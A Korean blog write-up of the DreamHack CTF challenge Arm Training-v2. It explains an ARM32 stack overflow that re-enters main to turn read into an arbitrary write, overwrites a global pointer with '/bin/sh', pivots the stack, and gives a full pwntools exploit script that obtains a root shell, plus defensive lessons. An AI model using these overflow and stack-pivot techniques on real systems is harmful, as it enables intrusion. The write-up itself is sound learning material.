[🥉 Bronze 2] win 함수 없는 ARM32에서 전역 포인터를 갈아끼워 셸 따기 — DreamHack Arm Training-v2 풀이

2026-10-20·1분 읽기·

[🥉 Bronze 2] win 함수 없는 ARM32에서 전역 포인터를 갈아끼워 셸 따기 — DreamHack Arm Training-v2 풀이

v1 엔 system("/bin/sh") 를 그대로 부르는 win 함수가 있었지만 v2 엔 없다. 쓸 수 있는 건 system(*id) 와 puts(*sh) 두 조각뿐이고, r0 를 직접 세팅하는 가젯도 임의쓰기 가젯도 없다. main 본문으로 fp 를 바꿔 재진입하면 read 가 .bss 임의 쓰기 원시연산이 된다는 점을 이용해 전역 id 포인터를 "/bin/sh" 로 덮고, system 호출에 필요한 스택을 확보하려 sp 를 .bss 페이지 상단으로 피벗했다.

문제: DreamHack — Arm Training-v2 분류: pwnable 난이도: 🥉 Bronze 2 FLAG: DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2}

문제 설명은 v1 과 똑같이 한 줄이다. "셸을 획득하여 /flag를 읽어주세요!" 배포 파일도 바이너리 하나와 run.sh 한 줄뿐이고, 서버는 그 한 줄대로 32비트 ARM 바이너리를 qemu 유저모드로 돌린다.

qemu-arm-static /arm

v1 은 system("/bin/sh") 를 통째로 부르는 shell() 함수가 바이너리 안에 있어서 반환주소만 거기로 돌리면 끝나는 전형적인 ret2win 이었다. v2 는 그 win 함수를 치웠다. 대신 셸로 바로 이어지지 않는 두 조각만 남겨 두고, 그 둘을 재료로 직접 system("/bin/sh") 를 조립하게 만든다. 여기서부터가 v2 의 몫이다.


문제 개요

항목값
아키텍처ARM 32-bit (EABI5), qemu-arm-static
보호기법No PIE(로드베이스 0x10000) · No canary · NX · Partial RELRO
취약점main 의 read(0, fp-0x18, 0xc8) 스택 버퍼 오버플로
제공 조각gadget1 = system(*id) · gadget2 = puts(*sh)
핵심 기법main 재진입으로 read 를 임의쓰기화 → 전역 id 를 "/bin/sh" 로 덮기 + 스택 피벗

먼저 아키텍처와 보호기법, 그리고 바이너리에 어떤 함수가 있는지부터 확인한다.

# cap_recon.sh — 아키텍처 / 보호기법 / 심볼
file arm_training-v2
checksec --file=arm_training-v2
nm arm_training-v2 | grep -E "gadget|main|init"
file 과 checksec, nm 출력. ELF 32-bit ARM EABI5 동적 링크, 보호기법은 No canary 와 NX enabled 에 No PIE 로드베이스 0x10000, 심볼에는 gadget1 이 0x10588 과 gadget2 가 0x105ac 그리고 init 과 main 이 보인다
file 과 checksec, nm 출력. ELF 32-bit ARM EABI5 동적 링크, 보호기법은 No canary 와 NX enabled 에 No PIE 로드베이스 0x10000, 심볼에는 gadget1 이 0x10588 과 gadget2 가 0x105ac 그리고 init 과 main 이 보인다

No PIE 라 모든 주소가 고정이고, 스택 카나리가 없어 오버플로로 반환주소를 바로 덮을 수 있다. 심볼에 gadget1, gadget2 라는 노골적인 이름이 보인다. 이 둘이 이 문제의 재료다.

🔬 코드 정찰 — 두 조각과 read

바이너리가 작아 핵심 세 함수를 한눈에 볼 수 있다. 호스트 objdump 는 ARM 을 못 읽으므로(can't disassemble for architecture UNKNOWN!), v1 과 같은 도커 랩의 arm-linux-gnueabi-objdump 로 뽑았다.

# cap_disasm.sh — 랩 이미지의 arm-linux-gnueabi-objdump 로 핵심 함수만 추출
docker run --rm arm-training-v2-lab arm-linux-gnueabi-objdump -d /arm \
  | sed -n -e '/<gadget1>:/,/.word/p' -e '/<gadget2>:/,/.word/p' -e '/<main>:/,/pop.{fp, pc}/p'
# (<== 주석은 가독성을 위해 sed 로 덧붙였다)
gadget1, gadget2, main 의 ARM 디스어셈블리. gadget1 은 전역 id 주소를 ldr 로 읽어 ldr r3,[r3] 로 역참조한 뒤 r0 에 넣고 system plt 를 호출하고, gadget2 는 같은 방식으로 sh 를 역참조해 puts 를 호출하며, main 은 sub r3,fp,24 로 버퍼를 잡고 r2 를 200 으로 둬 read plt 를 부른 뒤 에필로그에서 pop 으로 fp 와 pc 를 복원한다
gadget1, gadget2, main 의 ARM 디스어셈블리. gadget1 은 전역 id 주소를 ldr 로 읽어 ldr r3,[r3] 로 역참조한 뒤 r0 에 넣고 system plt 를 호출하고, gadget2 는 같은 방식으로 sh 를 역참조해 puts 를 호출하며, main 은 sub r3,fp,24 로 버퍼를 잡고 r2 를 200 으로 둬 read plt 를 부른 뒤 에필로그에서 pop 으로 fp 와 pc 를 복원한다

세 함수를 말로 풀면 이렇다.

  • gadget1 = system(*id). 전역 포인터 id 를 역참조해 그 값을 r0 로 넘기고 system 을 부른다. *id 는 문자열 "id" 다 — 셸이 아니라 id 명령이 실행된다.
  • gadget2 = puts(*sh). 같은 방식으로 sh 를 역참조해 puts 에 넘긴다. *sh 는 "/bin/sh" 인데, 하필 호출하는 함수가 system 이 아니라 puts 라 문자열을 출력만 하고 끝난다.
  • main = read(0, fp-0x18, 0xc8). 20바이트 버퍼에 200바이트를 읽는 명백한 오버플로. 에필로그 sub sp, fp, #4; pop {fp, pc} 는 저장된 fp 와 pc 를 검사 없이 복원한다(ARM 에서 반환주소가 다뤄지는 방식은 v1 글에서 자세히 다뤘다. 버퍼에서 24바이트 뒤가 복귀 pc 다).

문제는 명확하다. 우리가 원하는 건 system("/bin/sh") 인데, 가진 건 system("id") 와 puts("/bin/sh") 다. system 에 "/bin/sh" 를 넘기려면 r0 를 "/bin/sh" 주소로 세팅해야 한다.

💣 핵심 — r0 를 세팅할 가젯이 없다

ARM 에서 함수 인자는 r0~r3 로 들어간다. 그러니 system("/bin/sh") 를 만들려면 r0 = "/bin/sh" 를 세팅하는 가젯(pop {r0, ...} 류)이 필요하다. 그런데 바이너리를 전수 스캔하면 그런 게 없다. 임의 주소에 값을 쓰는 store 가젯도 없다.

# scan_gadgets.py — capstone 으로 .init/.plt/.text/.fini 전수 스캔
python3 scan_gadgets.py
scan_gadgets.py 출력. pop 또는 ldm 으로 반환을 제어하는 가젯은 여럿 있지만 전부 r3, r4, r11, r1 만 pop 하고, r0 를 pop 하는 가젯은 없음 이라고 표시되며, 임의주소 store 가젯은 dtors 의 strb r3,[r4] 하나뿐인데 r3 와 r4 가 고정값이라 제어 불가 라고 적혀 있다
scan_gadgets.py 출력. pop 또는 ldm 으로 반환을 제어하는 가젯은 여럿 있지만 전부 r3, r4, r11, r1 만 pop 하고, r0 를 pop 하는 가젯은 없음 이라고 표시되며, 임의주소 store 가젯은 dtors 의 strb r3,[r4] 하나뿐인데 r3 와 r4 가 고정값이라 제어 불가 라고 적혀 있다

pop {r11, pc} 같은 반환 제어 가젯은 많지만 r0 를 건드리는 건 하나도 없다. str rX, [rY] 형태의 임의쓰기도 없다(유일한 store 는 .dtors 의 strb r3, [r4] 인데 r3=1, r4 고정이라 못 쓴다). 즉, system 에 넘길 인자를 레지스터로도 메모리 쓰기로도 직접 만들 수 없다.

그래서 발상을 뒤집는다. r0 를 바꿀 수 없다면, gadget1 이 읽는 전역 id 포인터 자체를 "/bin/sh" 로 바꾸면 system(*id) 가 곧 system("/bin/sh") 가 된다. 문제는 "그 전역을 어떻게 쓰느냐"다 — 임의쓰기 가젯이 없는데.

read 를 임의쓰기 원시연산으로

열쇠는 main 본문의 read 가 버퍼 주소를 fp 로부터 계산한다는 데 있다.

0x105e0  sub r3, fp, #0x18    ; buf = fp - 0x18
0x105e8  mov r1, r3           ; read 의 두 번째 인자
0x105f0  bl  read@plt         ; read(0, fp-0x18, 0xc8)

여기서 fp 는 main 프롤로그가 세팅한 값이 아니라, 우리가 1차 오버플로로 심어 둔 값이다. main 프롤로그(0x105d0)를 건너뛰고 본문 0x105e0 으로 직접 돌아가면 fp 가 그대로 보존되기 때문이다. 즉 fp 만 조종하면 read 가 임의 주소에 쓰는 원시연산이 된다.

전역 id 는 0x21038 에 있다. fp - 0x18 = 0x21038 이 되도록 fp = 0x21050 으로 두고 본문에 재진입하면, 2차 read 가 id 를 덮는다. 섹션 배치를 보면 이 쓰기가 왜 안전한지도 보인다.

# recon_layout.py — pwntools 로 .got/.data/.bss 와 전역 포인터 확인
python3 recon_layout.py
recon_layout.py 출력. got 은 0x21000 에서 0x21030, data 와 bss 가 그 위에 있고, 전역 포인터 id 는 0x21038 에서 문자열 id 를, sh 는 0x2103c 에서 문자열 bin sh 를 가리키며 system plt 는 0x103fc 로 표시된다
recon_layout.py 출력. got 은 0x21000 에서 0x21030, data 와 bss 가 그 위에 있고, 전역 포인터 id 는 0x21038 에서 문자열 id 를, sh 는 0x2103c 에서 문자열 bin sh 를 가리키며 system plt 는 0x103fc 로 표시된다

id(0x21038)는 GOT(0x21000~0x21030) 위쪽에 있다. read 는 0x21038 부터 높은 주소로 써 나가므로 GOT 는 건드리지 않는다. 바로 뒤의 sh, 그리고 0x21040 대의 stdin/stdout/stderr 포인터는 같이 덮이지만, 셸은 FILE 구조체가 아니라 raw 파일 디스크립터(fd 0/1/2)를 쓰므로 무해하다.

세그먼트 권한을 보면 쓰기가 어디서부터 가능한지가 더 분명해진다. 이건 곧 아래 삽질의 복선이기도 하다.

# cap_segments.sh — LOAD / GNU_RELRO 세그먼트 권한
readelf -l arm_training-v2 | sed -n '/Program Headers/,/Section to Segment/p'
readelf 로 본 프로그램 헤더. 첫 LOAD 는 0x10000 부터 R E 권한의 코드, 두 번째 LOAD 는 0x20f10 부터 RW 권한이며, GNU_RELRO 가 0x20f10 부터 0xf0 바이트 즉 0x21000 까지를 R 즉 읽기전용으로 덮어 그 구간의 GOT 가 시작 직후 고정된다
readelf 로 본 프로그램 헤더. 첫 LOAD 는 0x10000 부터 R E 권한의 코드, 두 번째 LOAD 는 0x20f10 부터 RW 권한이며, GNU_RELRO 가 0x20f10 부터 0xf0 바이트 즉 0x21000 까지를 R 즉 읽기전용으로 덮어 그 구간의 GOT 가 시작 직후 고정된다

RW LOAD 는 0x20f10 부터지만, GNU_RELRO 가 0x20f100x21000(GOT 포함)을 시작 직후 읽기전용으로 되돌린다. 그 아래는 R-X 코드다. 즉 **실제로 쓸 수 있는 영역은 0x210000x22000 한 페이지뿐**이고, 그 밑으로는 못 쓴다. 지금은 id 를 덮는 데만 쓰지만, 이 "아래로 못 쓴다"는 사실이 곧 발목을 잡는다.

★ 삽질 — sp 가 .bss 로 내려가 system 이 터진다

처음엔 id 만 덮고 바로 gadget1 로 돌렸다가 system 내부에서 SIGSEGV 로 한참 헤맸다 (펼치기)

이론은 깔끔했다. fp = 0x21050 으로 재진입 → 2차 read 가 id 를 0x106a4("/bin/sh")로 덮음 → 복귀 pc 를 gadget1 로 → system("/bin/sh"). gdb 로 따라가 보면 r0 가 정확히 "/bin/sh" 를 가리킨 채 system PLT 까지 들어간다. 그런데 system 내부에서 죽었다.

원인은 스택이었다. main 본문 에필로그는 sub sp, fp, #4; pop {fp, pc} 다. read 버퍼를 .bss 로 옮기려고 fp 를 0x21050 근처로 둔 탓에, 이 sub sp, fp, #4 가 sp 를 .bss 바닥(0x2104c)으로 끌어내린다. 그 상태로 system 을 부르면, system → fork/execve 로 이어지는 호출 스택이 아래로 자라는데 — 앞서 본 대로 0x21000 밑은 RELRO 로 읽기전용(그 아래는 코드)이라 쓸 수가 없다. 스택이 0x21000 밑으로 넘어가는 순간 폴트가 난다.

sp 를 조금 올려 0x210f8 로 둬도 마찬가지였다. gdb 로 폴트 지점을 잡아 보면, system 이 겨우 0x50~0xe0 바이트쯤 내려간 뒤 레지스터 9개를 push 하고 sub sp, sp, #0x5c 하는 함수에서 0x21018 → 0x20ffc(매핑 밖)로 넘어가 죽는다.

# gdb_run.sh trap — sp 를 0x210f8(낮은 .bss)에 둔 실패 사례
./gdb_run.sh trap
gdb 로 추적한 실패 사례. gadget1 에서 r0 가 bin sh 를 가리키지만 sp 가 0x210f8 로 bss 바닥쪽이라, system 내부에서 레지스터 아홉 개를 push 하는 함수가 sp 0x21018 에서 0x21000 아래로 자라 SIGSEGV 로 터진다
gdb 로 추적한 실패 사례. gadget1 에서 r0 가 bin sh 를 가리키지만 sp 가 0x210f8 로 bss 바닥쪽이라, system 내부에서 레지스터 아홉 개를 push 하는 함수가 sp 0x21018 에서 0x21000 아래로 자라 SIGSEGV 로 터진다

결론: system 은 수백 바이트~수 KB의 스택을 쓴다. read 버퍼를 .bss 에 둔 이상 sp 는 그 페이지 안에 묶이므로, 페이지 상단으로 sp 를 최대한 올려 하향 여유를 확보해야 한다. 이게 v2 의 진짜 난관이었다 — 오프셋이 아니라 "system 을 부를 스택이 어디 있느냐"다.

id 덮기 + 페이지 상단으로 스택 피벗

삽질의 결론을 반영하면 설계가 정해진다. read 한 번은 0x21038 부터 0xc8(200)바이트밖에 못 쓰므로 0x21100 까지가 한계다. 그래서 read 를 세 번 돌려 fp 를 두 번 더 옮기며 sp 를 .bss 페이지 상단까지 끌어올린다.

전역 id 포인터 덮어쓰기와 bss 스택 피벗을 정리한 도식. 왼쪽은 0x21000 의 GOT 위에 0x21038 의 id 포인터와 0x2103c 의 sh 포인터, 그 위 bss 영역과 0x22000 페이지 끝까지의 메모리 지도이고 read2 가 0x21038 에 0x106a4 를 써서 id 가 bin sh 를 가리키게 만드는 화살표가 있으며, 오른쪽은 read1 실스택 오버플로, read2 가 id 를 덮고 fp 0x21f00 로 재진입, read3 가 최종 피벗을 기록해 sp 0x21f04 와 pc gadget1 을 만들어 system bin sh 로 이어지는 흐름과, 피벗 sp 를 페이지 상단까지 올려야 하는 이유 설명이 담겨 있다
전역 id 포인터 덮어쓰기와 bss 스택 피벗을 정리한 도식. 왼쪽은 0x21000 의 GOT 위에 0x21038 의 id 포인터와 0x2103c 의 sh 포인터, 그 위 bss 영역과 0x22000 페이지 끝까지의 메모리 지도이고 read2 가 0x21038 에 0x106a4 를 써서 id 가 bin sh 를 가리키게 만드는 화살표가 있으며, 오른쪽은 read1 실스택 오버플로, read2 가 id 를 덮고 fp 0x21f00 로 재진입, read3 가 최종 피벗을 기록해 sp 0x21f04 와 pc gadget1 을 만들어 system bin sh 로 이어지는 흐름과, 피벗 sp 를 페이지 상단까지 올려야 하는 이유 설명이 담겨 있다
  • read1 — 실스택에서 일어나는 1차 오버플로. 저장된 pc 를 main 본문(0x105e0)으로, 저장된 fp 를 0x21050 으로 덮어 본문에 재진입한다.
  • read2 — fp = 0x21050 이라 버퍼가 0x21038. 여기에 id = 0x106a4("/bin/sh")를 쓰고, 이어질 피벗을 위해 저장된 fp 를 0x21f00, pc 를 다시 main 본문으로 둔다.
  • read3 — fp = 0x21f00 이라 버퍼가 0x21ee8. 여기에 최종 피벗(저장된 fp, pc=gadget1)을 쓴다. 에필로그 sub sp, fp, #4; pop {fp, pc} 가 돌면 sp = 0x21f04(페이지 상단, 약 3.8KB 여유), pc = gadget1 이 된다.

세 단계를 모두 정확히 0xc8 바이트로 패딩하는 게 또 하나의 포인트다. 각 read 는 "그 순간 도착해 있는 바이트 전부"를 삼키므로(이건 v1 에서 크게 데였던 함정이다), 한 단계가 정확히 0xc8 이어야 다음 read 가 다음 단계만 받는다. read3 타깃(0x21ee8)+0xc8=0x21fb0 으로 페이지(0x22000)를 넘지 않는 것도 맞춰 뒀다.

gdb 로 세 번의 재진입과 최종 system 호출을 그대로 따라가면 설계대로 흐른다.

# gdb_run.sh win — 세 번의 read 재진입과 gadget1 의 system 호출을 추적
./gdb_run.sh win
gdb 로 추적한 성공 흐름. read1 은 실스택, read2 는 버퍼 0x21038 로 id 를 bin sh 로 덮고, read3 는 버퍼 0x21ee8 로 피벗을 기록하며, gadget1 의 system 직전에서 r0 가 bin sh 이고 sp 는 0x21efc 로 페이지 상단이라 스택 여유가 확보된다
gdb 로 추적한 성공 흐름. read1 은 실스택, read2 는 버퍼 0x21038 로 id 를 bin sh 로 덮고, read3 는 버퍼 0x21ee8 로 피벗을 기록하며, gadget1 의 system 직전에서 r0 가 bin sh 이고 sp 는 0x21efc 로 페이지 상단이라 스택 여유가 확보된다

id(*0x21038)=0x106a4, r0=0x106a4("/bin/sh"), sp=0x21efc(페이지 상단). gadget1 의 bl system 이 이제 system("/bin/sh") 다.

🚀 Full Exploit

실제로 flag 를 뽑은 solve.py 전문이다. 로컬 랩(docker)과 라이브 서버를 같은 코드로 다룬다.

#!/usr/bin/env python3
# Arm Training-v2 (DreamHack, id 861, Bronze 2, pwnable) — ARM32 BOF
#
# 사용법:
#   python3 solve.py                              → 로컬 ARM 랩(docker)에서 셸 획득 검증
#   python3 solve.py host3.dreamhack.games 12345  → 라이브 서버에서 진짜 /flag 읽기
#
# v1 과의 차이: v1 엔 system("/bin/sh") 를 그대로 부르는 win 함수가 있었지만 v2 엔 없다.
#   gadget1 (0x10588) = system(*id)   *id -> "id"      (전역 id @0x21038 -> 0x106a0)
#   gadget2 (0x105ac) = puts(*sh)     *sh -> "/bin/sh" (전역 sh @0x2103c -> 0x106a4)
#   r0 세팅 가젯도 임의쓰기 가젯도 없다 → 전역 id 포인터를 "/bin/sh" 로 덮어
#   gadget1 을 system("/bin/sh") 로 만든다.
#
# 쓰기 원시연산 = main 본문의 read(0, fp-0x18, 0xc8) 재활용(프롤로그 skip, fp 보존).
# 스택 함정: 피벗 sp 가 낮은 .bss 면 system 스택이 0x21000 아래로 자라 SIGSEGV →
#   read 를 세 번 돌려 sp 를 .bss 페이지 상단(0x21f04)으로 올린다. 각 단계 0xc8 패딩.
 
import sys, re
from pwn import *
 
context.clear(arch='arm', os='linux', endian='little', bits=32)
context.log_level = 'info'
 
# ---- 고정 주소 (No PIE, 로드베이스 0x10000) --------------------------------
MAIN_BODY = 0x105e0   # read(0, fp-0x18, 0xc8) ; 에필로그 sub sp,fp,4; pop{fp,pc}
GADGET1   = 0x10588   # push{fp,lr}; r3=*id; r0=r3; bl system  => system(*id)
BINSH_PTR = 0x106a4   # "/bin/sh"
READ_N    = 0xc8      # main read 의 count
ID_FP     = 0x21050   # read2 가 0x21038(id) 를 덮게 하는 fp
TOP_FP    = 0x21f00   # read3 가 0x21ee8 을 쓰게 하는 fp → 최종 sp=0x21f04 (.bss 상단)
 
def blk(buf):                       # 정확히 0xc8 바이트로 맞춰 read 경계를 고정
    assert len(buf) <= READ_N
    return buf.ljust(READ_N, b'A')
 
def stage1():
    # read1(실스택): 오버플로. off20=저장된 fp, off24=저장된 pc.
    return blk(b'A'*20 + p32(ID_FP) + p32(MAIN_BODY))
 
def stage2():
    # read2 @0x21038: id="/bin/sh", 그리고 본문 재진입(fp=TOP_FP)
    #   off0 id<-0x106a4, off4 sh<-0x106a4, off20 fp<-TOP_FP, off24 pc<-MAIN_BODY
    return blk(p32(BINSH_PTR) + p32(BINSH_PTR) + b'B'*12 + p32(TOP_FP) + p32(MAIN_BODY))
 
def stage3():
    # read3 @0x21ee8: 최종 피벗. 에필로그 sub sp,TOP_FP,4=0x21efc; pop → sp=0x21f04, pc=gadget1
    #   off20 junk fp, off24 gadget1
    return blk(b'C'*20 + p32(0xdeadbeef) + p32(GADGET1))
 
def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = process(['docker','run','-i','--rm','arm-training-v2-lab'])
 
    io.send(stage1() + stage2() + stage3())    # 세 블록 연속 — 각 read 가 0xc8 씩 가져간다
    io.sendline(b'echo PWNED; id; cat /flag')
 
    try:
        data = io.recvrepeat(2.5)
    except EOFError:
        data = b''
    sys.stdout.buffer.write(data); print()
 
    m = re.search(rb'DH\{[^}]+\}', data)
    if m:
        log.success('FLAG = %s' % m.group().decode())
    elif b'PWNED' in data or b'uid=' in data:
        log.success('SHELL OK (로컬 랩: 더미 flag)')
    else:
        log.failure('no shell')
    io.close()
 
if __name__ == '__main__':
    main()

라이브에 붙기 전에 로컬 ARM 랩에서 먼저 돌려 셸을 확인한다. 랩은 v1 과 같은 구성이다 — debian:bookworm-slim 위에 qemu-user-static, libc6-armel-cross(/lib/ld-linux.so.3), binutils-arm-linux-gnueabi, gdb-multiarch 를 올리고 진입점을 원격과 똑같이 qemu-arm-static -L /usr/arm-linux-gnueabi /arm 으로 맞췄다. 진짜 flag 는 없으니 /flag 에는 정답인 척 통과하지 않도록 형식부터 다른 더미를 심었다.

위 solve.py 를 인자 없이 실행하면(python3 solve.py) 랩 컨테이너를 띄워 익스플로잇을 건다.

로컬 ARM 랩에서 solve.py 를 인자 없이 실행한 결과. 도커 프로세스가 뜨고 PWNED 출력 뒤 id 결과가 uid 0 root 로 나오며, 랩에 심은 더미 파일 LOCAL DUMMY not the real flag 가 읽혀 SHELL OK 로 셸 획득이 확인된다
로컬 ARM 랩에서 solve.py 를 인자 없이 실행한 결과. 도커 프로세스가 뜨고 PWNED 출력 뒤 id 결과가 uid 0 root 로 나오며, 랩에 심은 더미 파일 LOCAL DUMMY not the real flag 가 읽혀 SHELL OK 로 셸 획득이 확인된다

로컬에서 uid=0(root) 셸을 잡고 더미 파일까지 읽었다. 이제 라이브 서버 주소와 포트를 인자로 줘(python3 solve.py host3.dreamhack.games 18892) 같은 코드를 그대로 돌리면 진짜 /flag 가 나온다.

라이브 서버 host3 dreamhack games 포트 18892 에 solve.py 를 실행한 결과. 연결이 Done 으로 열리고 PWNED 출력 뒤 id 결과가 uid 0 root 로 나오며, 진짜 flag 인 DH 로 시작하는 64자리 16진 문자열이 출력되고 FLAG 로 다시 한 번 표시된 뒤 연결이 닫힌다
라이브 서버 host3 dreamhack games 포트 18892 에 solve.py 를 실행한 결과. 연결이 Done 으로 열리고 PWNED 출력 뒤 id 결과가 uid 0 root 로 나오며, 진짜 flag 인 DH 로 시작하는 64자리 16진 문자열이 출력되고 FLAG 로 다시 한 번 표시된 뒤 연결이 닫힌다
DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2}

로컬에서 셸까지 검증한 익스가 라이브에서 한 번에 통했다.

📝 결론 — 방어와 교훈

win 함수를 치운다고 안전해지지 않는다. v2 는 system("/bin/sh") 를 통째로 주는 대신 system(*id) 와 puts(*sh) 조각만 남겼지만, 전역 포인터 하나를 덮는 것으로 둘을 합성할 수 있었다. 공격자가 노리는 건 "셸 함수의 존재"가 아니라 "제어 가능한 간접 호출"이다.

  • 스택 카나리가 있었다면 반환주소를 덮는 순간 검출돼 이 체인의 1단계부터 막혔다. 가장 값싼 1차 방어다.
  • Full RELRO 였다면 GOT 는 어차피 못 쓰지만, 이 문제의 진짜 급소는 GOT 가 아니라 .data/.bss 의 쓰기 가능한 전역 포인터였다. id/sh 같은 함수 인자용 전역을 가변으로 두지 말고 상수(const char id[] = "id";)로 두면 .rodata 로 가 덮을 수 없다.
  • read 에 넘기는 길이를 버퍼 크기로 제한하는 것(20바이트 버퍼에 0xc8 을 읽지 않는 것)이 근본 원인 차단이다. 오버플로가 없으면 fp 조작도, 재진입을 통한 임의쓰기도 성립하지 않는다.

ARM/qemu 환경이라는 껍데기 때문에 낯설어 보이지만, 핵심은 "쓰기 원시연산을 어떻게 만들고, 그 원시연산을 쓸 때 희생되는 스택을 어떻게 복구하느냐" 라는 익스플로잇의 보편적인 두 질문이었다. v2 가 v1 위에 얹은 건 바로 이 두 질문이다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 3] ARM32 스택 오버플로로 pc 를 직접 갈아끼우기 — DreamHack Arm Training-v1 풀이
blog

[🥉 Bronze 3] ARM32 스택 오버플로로 pc 를 직접 갈아끼우기 — DreamHack Arm Training-v1 풀이

x86 의 ret 이 없는 ARM32에서는 함수 에필로그가 pop 으로 fp 와 pc 를 한꺼번에 복원한다. 저장된 lr 을 덮으면 그 값이 검사 없이 그대로 pc 가 된다. 24바이트 뒤 반환주소를 shell() 로 바꿔 system("/bin/sh") 를 호출하고, read(0, buf, 200) 가 셸 명령까지 삼켜버리는 함정은 payload 를 정확히 200바이트로 맞춰 넘긴다.
#dreamhack#ctf#pwnable+6
2026-08-09#dreamhack +6
[🥉 Bronze 2] 쓴 값이 다음 쓰기 주소가 된다 — DreamHack p_rho 풀이
blog

[🥉 Bronze 2] 쓴 값이 다음 쓰기 주소가 된다 — DreamHack p_rho 풀이

숫자를 하나 넣으면 배열에 저장하고, 그 값을 그대로 다음 인덱스로 삼는 무한 루프. 임의 주소 쓰기인데 주소를 직접 못 고르고 "직전에 쓴 값"이 정한다는 제약이 붙는다. buf 를 원점으로 보면 GOT 가 음수 인덱스에 있고, Partial RELRO 라 잠겨 있지도 않다. 정수 두 개로 printf@got 를 win 으로 덮어 셸을 잡았다.
#dreamhack#ctf#pwnable+6
2026-08-12#dreamhack +5
[🥉 Bronze 2] 리턴주소에 8바이트 모자랄 때 — DreamHack MSNW 풀이
blog

[🥉 Bronze 2] 리턴주소에 8바이트 모자랄 때 — DreamHack MSNW 풀이

memset 은 saved RBP 직전에서 멈추고 read 는 딱 2바이트를 더 받는다. 리턴주소는 끝내 못 건드리지만 saved RBP 의 하위 2바이트만 바꿔 두면 한 층 위 Call() 의 leave;ret 이 rsp 를 우리 버퍼 위로 옮겨 준다. 좌표는 초기화하지 않은 버퍼를 그대로 출력하는 Nyang() 에서 얻는다.
#dreamhack#ctf#pwnable+7
2026-08-09#dreamhack +5